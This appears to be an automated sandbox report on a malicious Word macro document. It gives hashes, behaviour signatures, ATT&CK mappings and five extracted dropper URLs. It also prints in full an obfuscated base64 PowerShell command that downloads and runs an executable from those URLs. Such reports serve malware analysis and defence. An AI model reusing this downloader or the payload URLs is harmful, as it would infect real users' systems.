Analysis

  • max time kernel
    61s
  • max time network
    74s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12174.29464.11497.doc

  • Size

    172KB

  • MD5

    9c00d588f7b6a159c855b93627492516

  • SHA1

    fa1ed3fb2e4e6f7d8747584b8a1969e85daa4909

  • SHA256

    061f4c387df2a0e388b644d647379077b84ea8a2a52eec31d3e2f95b0984be9f

  • SHA512

    5da86f8939b379be6373a8f95d648c7a0046e0e1a5c102173cab90819c84f9abb10c2be5575e1df5c66348ace3e94926e5eee5638a71c98565be844ecc8bbe54

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.hatchdogs.com/assets/XIw/

exe.dropper

https://groovyboove.co.uk/blogs/8T94mmdka13/

exe.dropper

https://gregemerson.com/wp-includes/hudy17240/

exe.dropper

http://guariz.com.br/WuutjlO/

exe.dropper

http://hafder.com/images/fhq7h7babdbe5q5052/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12174.29464.11497.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1588
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=
    1⤵
    • Process spawned unexpected child process
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1756

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1588-2-0x0000000008AC0000-0x0000000008AC4000-memory.dmp
    Filesize

    16KB

  • memory/1588-4-0x0000000007010000-0x0000000007210000-memory.dmp
    Filesize

    2.0MB

  • memory/1588-5-0x000000000AFB0000-0x000000000AFB4000-memory.dmp
    Filesize

    16KB

  • memory/1588-6-0x000000000C030000-0x000000000C034000-memory.dmp
    Filesize

    16KB

  • memory/1588-9-0x0000000002100000-0x0000000002101000-memory.dmp
    Filesize

    4KB